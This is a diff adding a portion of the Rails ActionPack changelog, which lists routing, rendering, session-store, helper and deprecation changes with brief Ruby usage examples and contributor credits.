+ # Calls: new Effect.fade('post_45');
+ render(:update) { |page| page[post].visual_effect(:fade) }
+ end
+
+* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths *David Heinemeier Hansson*
+
+* Added map.namespace to deal with the common situation of admin sections and the like *David Heinemeier Hansson*
+
+ Before:
+
+ map.resources :products, :path_prefix => "admin", :controller => "admin/products", :collection => { :inventory => :get }, :member => { :duplicate => :post }
+ map.resources :tags, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_tags"
+ map.resources :images, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_images"
+ map.resources :variants, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_variants"
+
+ After:
+
+ map.namespace(:admin) do |admin|
+ admin.resources :products,
+ :collection => { :inventory => :get },
+ :member => { :duplicate => :post },
+ :has_many => [ :tags, :images, :variants ]
+ end
+
+* Added :name_prefix as standard for nested resources [David Heinemeier Hansson]. WARNING: May be backwards incompatible with your app
+
+ Before:
+
+ map.resources :emails do |emails|
+ emails.resources :comments, :name_prefix => "email_"
+ emails.resources :attachments, :name_prefix => "email_"
+ end
+
+ After:
+
+ map.resources :emails do |emails|
+ emails.resources :comments
+ emails.resources :attachments
+ end
+
+ This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
+
+* Added :has_many and :has_one for declaring plural and singular resources beneath the current *David Heinemeier Hansson*
+
+ Before:
+
+ map.resources :notes do |notes|
+ notes.resources :comments
+ notes.resources :attachments
+ notes.resource :author
+ end
+
+ After:
+
+ map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
+
+* Added that render :xml will try to call to_xml if it can [David Heinemeier Hansson]. Makes these work:
+
+ render :xml => post
+ render :xml => comments
+
+* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner *David Heinemeier Hansson*
+
+ render :xml => post.to_xml, :status => :created, :location => post_url(post)
+
+* Ensure that render_text only adds string content to the body of the response *David Heinemeier Hansson*
+
+* Return the string representation from an Xml Builder when rendering a partial. Closes #5044 *Tim Pope*
+
+* Fixed that parameters from XML should also be presented in a hash with indifferent access *David Heinemeier Hansson*
+
+* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript. This is so ajax actions without a :format param get recognized as Mime::JS. *Rick Olson*
+
+* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. *Rick Olson*
+
+* Allow layouts with extension of .html.erb. Closes #8032 *Josh Knowles*
+
+* Change default respond_to templates for xml and rjs formats. *Rick Olson*
+
+ * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
+ * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
+
+ You can still specify your old templates:
+
+ respond_to do |format|
+ format.xml do
+ render :action => "#{action_name}.rxml"
+ end
+ end
+
+* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit. *Rick Olson*
+
+* Fix WSOD when template compilation fails *Rick Olson*
+
+* Change ActionView template defaults. Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" *Rick Olson*
+
+* Highlight helper highlights one or many terms in a single pass. *Jeremy Kemper*
+
+* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It *David Heinemeier Hansson*
+
+* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with *David Heinemeier Hansson*
+
+* Cleaned up, corrected, and mildly expanded ActionPack documentation. Closes #7190 *Jeremy McAnally*
+
+* Small collection of ActionController documentation cleanups. Closes #7319 *Jeremy McAnally*
+
+* Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. *Jamis Buck*
+
+* Allow configuration of the default action cache path for #caches_action calls. *Rick Olson*
+
+ class ListsController < ApplicationController
+ caches_action :index, :cache_path => Proc.new { |controller|
+ controller.params[:user_id] ?
+ controller.send(:user_lists_url, c.params[:user_id]) :
+ controller.send(:lists_url) }
+ end
+
+* Performance: patch cgi/session/pstore to require digest/md5 once rather than per #initialize. #7583 *Stefan Kaes*
+
+* Cookie session store: ensure that new sessions doesn't reuse data from a deleted session in the same request. *Jeremy Kemper*
+
+* Deprecation: verification with :redirect_to => :named_route shouldn't be deprecated. #7525 *Justin French*
+
+* Cookie session store: raise ArgumentError when :session_key is blank. *Jeremy Kemper*
+
+* Deprecation: remove deprecated request, redirect, and dependency methods. Remove deprecated instance variables. Remove deprecated url_for(:symbol, *args) and redirect_to(:symbol, *args) in favor of named routes. Remove uses_component_template_root for toplevel components directory. Privatize deprecated render_partial and render_partial_collection view methods. Remove deprecated link_to_image, link_image_to, update_element_function, start_form_tag, and end_form_tag helper methods. Remove deprecated human_size helper alias. *Jeremy Kemper*
+
+* Consistent public/protected/private visibility for chained methods. #7813 *Dan Manges*
+
+* Prefer MIME constants to strings. #7707 *Dan Kubb*
+
+* Allow array and hash query parameters. Array route parameters are converted/to/a/path as before. #6765, #7047, #7462 *bgipsy, Jeremy McAnally, Dan Kubb, brendan*
+
+ \# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests using the cookie store's secret. [Rick Olson]
+* Added Request#url that returns the complete URL used for the request *David Heinemeier Hansson*
+
+* Extract dynamic scaffolding into a plugin. #7700 *Josh Peek*
+
+* Added user/password options for url_for to add http authentication in a URL *David Heinemeier Hansson*
+
+* Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string *Brendon Davidson*
+
+* Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. *Jamis Buck*
+
+* session_enabled? works with session :off. #6680 *Jonathan del Strother*
+
+* Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 *alancfrancis*
+
+* Allow send_file/send_data to use a registered mime type as the :type parameter #7620 *jonathan*
+
+* Allow routing requirements on map.resource(s) #7633 [quixoten]. Example:
+
+ map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
+
+* Cookie session store: empty and unchanged sessions don't write a cookie. *Jeremy Kemper*
+
+* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController *David Heinemeier Hansson*
+
+* Integration tests: introduce methods for other HTTP methods. #6353 *caboose*
+
+* Routing: better support for escaped values in route segments. #7544 [Chris
+ Roos]
+* Introduce a cookie-based session store as the Rails default. Sessions typically contain at most a user_id and flash message; both fit within the 4K cookie size limit. A secure message digest is included with the cookie to ensure data integrity (a user cannot alter his user_id without knowing the secret key included in the digest). If you have more than 4K of session data or don't want your data to be visible to the user, pick another session store. Cookie-based sessions are dramatically faster than the alternatives. *Jeremy Kemper*
+
+ Example config/environment.rb:
+ # Use an application-wide secret key and the default SHA1 message digest.
+ config.action_controller.session = { :secret => "can't touch this" }
+
+ # Store a secret key per user and employ a stronger message digest.
+ config.action_controller.session = {
+ :digest => 'SHA512',
+ :secret => Proc.new { User.current.secret_key }
+ }
+
+* Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
+
+* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [David Heinemeier Hansson]. Examples:
+
+ stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
+ <link href="/stylesheets/style1.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="/stylesheets/styleB.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="/stylesheets/styleX2.css" media="screen" rel="Stylesheet" type="text/css" />
+
+ stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
+ <link href="/stylesheets/all.css" media="screen" rel="Stylesheet" type="text/css" />
+
+ ...when caching is on, all.css is the concatenation of style1.css, styleB.css, and styleX2.css.
+ Same deal for JavaScripts.
+
+* Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background. *Jeremy Kemper*
+
+* Added default mime type for CSS (Mime::CSS) *David Heinemeier Hansson*
+
+* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. *David Heinemeier Hansson*
+
+* Added X-Runtime to all responses with the request run time *David Heinemeier Hansson*
+
+* Add Mime::Type convenience methods to check the current mime type. *Rick Olson*
+
+ request.format.html? # => true if Mime::HTML
+ request.format.jpg? # => true if Mime::JPG
+
+ \# ActionController sample usage:
+ \# the session will be disabled for non html/ajax requests
+ session :off, :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
+
+* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. *Stefan Kaes*
+
+* Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames. *Thomas Fuchs*
+
+* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available *David Heinemeier Hansson*
+
+* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD. *Rick Olson*
+
+* Fix issue with deprecation messing up #template_root= usage. Add #prepend_view_path and #append_view_path to allow modification of a copy of the
+ superclass' view_paths. [Rick Olson]
+* Allow Controllers to have multiple view_paths instead of a single template_root. Closes #2754 *John Long*
+
+* Add much-needed html-scanner tests. Fixed CDATA parsing bug. *Rick Olson*
+
+* improve error message for Routing for named routes. Closes #7346 *Rob Sanheim*
+
+* Added enhanced docs to routing assertions. Closes #7359 *Rob Sanheim*
+
+* fix form_for example in ActionController::Resources documentation. Closes #7362 *gnarg*
+
+* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating *David Heinemeier Hansson*
+
+* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag *David Heinemeier Hansson*
+
+* Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. *Nicholas Seckar*
+
+* Change the query parser to map empty GET params to "" rather than nil. Closes #5694. *Nicholas Seckar*
+
+* date_select and datetime_select take a :default option. #7052 *Nik Wakelin*
+ date_select "post", "written_on", :default => 3.days.from_now
+ date_select "credit_card", "bill_due", :default => { :day => 20 }
+
+* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 *nik.kakelin, ben, julik*
+
+* Improve routes documentation. #7095 *zackchandler*
+
+* mail_to :encode => 'hex' also encodes the mailto: part of the href attribute as well as the linked email when no name is given. #2061 *Jarkko Laine, pfc.pille@gmx.net*
+
+* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 *dkubb*
+
+* Remove deprecated assertions. *Jeremy Kemper*
+
+* Change session restoration to allow namespaced models to be autoloaded. Closes #6348. *Nicholas Seckar*
+
+* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. *Anthony Eden*
+
+* Fix overly greedy rescues when loading helpers. Fixes #6268. *Nicholas Seckar*
+
+* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 *ceefour*
+
+* Autolinking recognizes trailing and embedded . , : ; #7354 *Jarkko Laine*
+
+* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. *imajes*
+
+* Update to script.aculo.us 1.7.0. *Thomas Fuchs*
+
+* Modernize cookie testing code, and increase coverage (Heckle++) #7101 *Kevin Clark*
+
+* Improve Test Coverage for ActionController::Routing::Route#matches_controller_and_action? (Heckle++) #7115 *Kevin Clark*
+
+* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 *Kevin Clark*
+
+* Fix #distance_of_time_in_words to report accurately against the Duration class. #7114 *eventualbuddha*
+
+* Refactor #form_tag to allow easy extending. *Rick Olson*
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* RecordInvalid, RecordNotSaved => 422 Unprocessable Entity, StaleObjectError => 409 Conflict. #7097 *dkubb*
+
+* Allow fields_for to be nested inside form_for, so that the name and id get properly constructed *Jamis Buck*
+
+* Allow inGroupsOf and eachSlice to be called through rjs. #7046 *Cody Fauser*
+
+* Allow exempt_from_layout :rhtml. #6742, #7026 *Dan Manges, Squeegy*
+
+* Recognize the .txt extension as Mime::TEXT *Rick Olson*
+
+* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 *Nicholas Seckar, aiwilliams, brentrowland*
+
+* link_to_unless_current works with full URLs as well as paths. #6891 *Jarkko Laine, Manfred Stienstra, idrifter*
+
+* Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class. Closes #6941 *Josh Peek*
+
+* Fix bug where nested resources ignore a parent singleton parent's path prefix. Closes #6940 *Dan Kubb*
+
+* Fix no method error with error_messages_on. Closes #6935 *nik.wakelin Koz*
+
+* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 *Steven Bristol*
+
+* Slight doc tweak to #prepend_filter. Closes #6493 *Jeremy Voorhis*
+
+* Add more extensive documentation to the AssetTagHelper. Closes #6452 *Bob Silva*
+
+* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 *Bob Silva*
+
+* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 *Jan Prill*
+
+* Make sure html_document is reset between integration test requests. *ctm*
+
+* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. *Josh Susser*
+
+* Routing uses URI escaping for path components and CGI escaping for query parameters. *darix, Jeremy Kemper*
+
+* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. *Rick Olson*
+
+* Singleton resources: POST /singleton => create, GET /singleton/new => new. *Jeremy Kemper*
+
+* Use 400 Bad Request status for unrescued ActiveRecord::RecordInvalid exceptions. *Jeremy Kemper*
+
+* Silence log_error deprecation warnings from inspecting deprecated instance variables. *Nate Wiger*
+
+* Only cache GET requests with a 200 OK response. #6514, #6743 *RSL, anamba*
+
+* Add a 'referer' attribute to TestRequest. *Jamis Buck*
+
+* Ensure render :json => ... skips the layout. Closes #6808 *Josh Peek*
+
+* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 *mitreandy*
+
+* Correctly report which filter halted the chain. #6699 *Martin Emde*
+
+* Fix a bug in Routing where a parameter taken from the path of the current request could not be used as a query parameter for the next. Closes #6752. *Nicholas Seckar*
+
+* Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500. *Jeremy Kemper*
+
+* Improved auto_link to match more valid urls correctly *Tobias Lütke*
+
+* Add singleton resources. *Rick Olson*
+
+ map.resource :account
+
+ GET /account
+ GET /account;edit
+ UPDATE /account
+ DELETE /account
+
+* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 *Scott Raymond, eventualbuddha*
+ # application/json response with body 'Element.show({:name: "David"})'
+ respond_to do |format|
+ format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
+ end
+
+* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 *sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva*
+
+* Adds html id attribute to date helper elements. #1050, #1382 *mortonda@dgrmm.net, David North, Bob Silva*
+
+* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 *moriq, Doug Fales, Bob Silva*
+
+* Add :order to datetime_select, select_datetime, and select_date. #1427 *Timothee Peignier, Patrick Lenz, Bob Silva*
+
+* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 *Justin Palmer, Andre Caum, Bob Silva*
+
+* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 *csn, Bob Silva*
+
+* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 *tomasj, Bob Silva*
+
+* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 *Bob Silva*
+
+* Added map.root as an alias for map.connect '' *David Heinemeier Hansson*
+
+* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [David Heinemeier Hansson]. Examples:
+
+ GET /posts/5.xml | request.format => Mime::XML
+ GET /posts/5.xhtml | request.format => Mime::HTML
+ GET /posts/5 | request.format => request.accepts.first (usually Mime::HTML for browsers)
+
+* Added the option for extension aliases to mime type registration [David Heinemeier Hansson]. Example (already in the default routes):
+
+ Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
+
+ ...will respond on both .html and .xhtml.
+
+* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. *Jeremy Kemper*
+
+* Added CSV to Mime::SET so that respond_to csv will work *Cody Fauser*
+
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) *David Heinemeier Hansson*
+
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 *David Heinemeier Hansson*
+
+* Update Routing to complain when :controller is not specified by a route. Closes #6669. *Nicholas Seckar*
+
+* Ensure render_to_string cleans up after itself when an exception is raised. #6658 *Rob Sanheim*
+
+* Extract template_changed_since? from compile_template? so plugins may override its behavior for non-file-based templates. #6651 *Jeff Barczewski*
+
+* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs*
+
+* simple_format helper doesn't choke on nil. #6644 *jerry426*
+
+* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs*
+
+* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. *Nicholas Seckar*
+
+* ActionView::Base.erb_variable accessor names the buffer variable used to render templates. Defaults to _erbout; use _buf for erubis. *Rick Olson*
+
+* assert_select_rjs :remove. *Dylan Egan*
+
+* Always clear model associations from session. #4795 *sd@notso.net, andylien@gmail.com*
+
+* Update to Prototype 1.5.0_rc2. *Sam Stephenson*
+
+* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. *Sam Stephenson*
+
+* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 *dkubb*
+
+* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 *Andreas Schwarz, Jeremy Kemper*
+
+* assert_response supports symbolic status codes. #6569 *Kevin Clark*
+ assert_response :ok
+ assert_response :not_found
+ assert_response :forbidden
+
+* Cache parsed query parameters. #6559 *Stefan Kaes*
+
+* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS *Thomas Fuchs*
+
+* pluralize helper interprets nil as zero. #6474 *Tim Pope*
+
+* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 *Bob Silva*
+
+* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. *Jeremy Kemper*
+
+* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 *Bob Silva*
+
+* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs*
+
+* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. *Rick Olson*
+
+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag *Rick Olson*
+
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. *Rick Olson*
+
+* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
+
+ <% content_tag :div, :class => "strong" %>
+ Hello world!
+ <% end %>
+
+ Will output:
+ <div class="strong">Hello world!</div>
+
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 *Bob Silva*
+
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 *Bob Silva*
+
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 *Bob Silva/chrismear*
+
+* Force *_url named routes to show the host in ActionView *Rick Olson*
+
+ <%= url_for ... %> # no host
+ <%= foo_path %> # no host
+ <%= foo_url %> # host!
+
+* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. *Sam Stephenson*
+
+* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. *Sam Stephenson*
+
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. *Rick Olson*
+
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. *Rick Olson*
+
+* Fix deprecation warnings when rendering the template error template. *Nicholas Seckar*
+
+* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+
+* Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
+
+* Replace KCODE checks with String#chars for truncate. Closes #6385 *Manfred Stienstra*
+
+* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. *Marcel Molina Jr.*
+
+* Use String#chars in TextHelper::excerpt. Closes #6386 *Manfred Stienstra*
+
+* Install named routes into ActionView::Base instead of proxying them to the view via helper_method. Closes #5932. *Nicholas Seckar*
+
+* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
+
+* Fix relative URL root matching problems. *Mark Imbriaco*
+
+* Fix filter skipping in controller subclasses. #5949, #6297, #6299 *Martin Emde*
+
+* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). *Jeremy Kemper*
+
+* Rename test assertion to prevent shadowing. Closes #6306. *psross*
+
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 *Philip Hallstrom*
+
+* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
+
+* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+
+ update_page_tag :defer => 'true' { |page| ... }
+
+ Gives:
+
+ <script defer="true" type="text/javascript">...</script>
+
+ Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
+
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 *Mike Naberezny*
+
+* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 *sven@c3d2.de*
+
+* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 *cmselmer*
+
+* respond_to :html doesn't assume .rhtml. #6281 *Hampton Catlin*
+
+* Fixed some deprecation warnings in ActionPack *Rick Olson*
+
+* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 *japgolly*
+
+* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. *Jeremy Kemper*
+
+* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+
+ head :status => 404 # expands to "404 Not Found"
+ head :status => :not_found # expands to "404 Not Found"
+ head :status => :created # expands to "201 Created"
+
+* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+
+ head :status => 404 # return an empty response with a 404 status
+ head :location => person_path(@person), :status => 201
+
+* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. *Rick Olson*
+
+* strip_links is case-insensitive. #6285 *tagoh, Bob Silva*
+
+* Clear the cache of possible controllers whenever Routes are reloaded. *Nicholas Seckar*
+
+* Filters overhaul including meantime filter support using around filters + blocks. #5949 *Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper*
+
+* Update RJS render tests. *sam*
+
+* Update CGI process to allow sessions to contain namespaced models. Closes #4638. *dfelstead@site5.com*
+
+* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. *Nicholas Seckar*
+
+* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
+
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
+
+ respond_to do |format|
+ format.html { render :text => "I'm being sent as text/html" }
+ format.rss { render :text => "I'm being sent as application/rss+xml" }
+ format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
+ end
+
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
+
+* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
+
+ response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
+
+ ...now:
+
+ response.content_type = Mime::ATOM
+ response.charset = "utf-8"
+
+* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson*
+
+ - XPATH support
+ - Make Form.getElements() return elements in the correct order
+ - fix broken Form.serialize return
+
+* Declare file extensions exempt from layouts. #6219 *brandon*
+ Example: ActionController::Base.exempt_from_layout 'rpdf'
+
+* Add chained replace/update support for assert_select_rjs *Rick Olson*
+
+ Given RJS like...
+
+ page['test1'].replace "<div id=\"1\">foo</div>"
+ page['test2'].replace_html "<div id=\"2\">foo</div>"
+
+ Test it with...
+
+ assert_select_rjs :chained_replace
+ assert_select_rjs :chained_replace, "test1"
+
+ assert_select_rjs :chained_replace_html
+ assert_select_rjs :chained_replace_html, "test2"
+
+* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 *choonkeat@gmail.com*
+
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 *Manfred Stienstra, raphinou@yahoo.com*
+
+* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 *Eric Hodel*
+
+* Add descriptive messages to the exceptions thrown by cgi_methods. #6091, #6103 *Nicholas Seckar, Bob Silva*
+
+* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 *petermichaux@gmail.com*
+
+* Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
+
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
+
+ link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
+
+ ...can be written like this:
+
+ link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
+
+* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
+
+* Update to Prototype 1.5.0_rc1 *sam*
+
+* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
+
+ page['foo']['style'] # => $('foo').style;
+ page['foo']['style']['color'] # => $('blank_slate').style.color;
+ page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
+ page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
+
+* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) *eule@space.ch*
+
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension *David Heinemeier Hansson*
+
+* Fixed FormOptionsHelper#select to respect :selected value #5813
+
+* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 *moriq@moriq.com*
+
+* Fixed TextHelper#pluralize to handle 1 as a string #5909 *rails@bencurtis.com*
+
+* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 *Bob Silva*
+
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" *David Heinemeier Hansson*
+
+* Integration tests: thoroughly test ActionController::Integration::Session. #6022 *Kevin Clark*
+ (tests skipped unless you `gem install mocha`)
+
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 *David Heinemeier Hansson*
+
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 *David Heinemeier Hansson*
+
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support *David Heinemeier Hansson*
+
+* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 *assaf.arkin@gmail.com*
+
+* radio_button_tag generates unique id attributes. #3353 *Bob Silva, somekool@gmail.com*
+
+* strip_tags passes through blank args such as nil or "". #2229, #6702 *duncan@whomwah.com, dharana*
+
+* Cleanup assert_tag :children counting. #2181 *jamie@bravenet.com*
+
+* button_to accepts :method so you can PUT and DELETE with it. #6005 *Dan Webb*
+
+* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. *Rick Olson*
+
+* Update routing documentation. Closes #6017 *Nathan Witmer*
+
+* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 *Nathan Witmer*
+
+* Deprecation: update docs. #5998 *Jakob Skjerning, Kevin Clark*
+
+* Make auto_link parse a greater subset of valid url formats. *Jamis Buck*
+
+* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. *Mike Clark*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
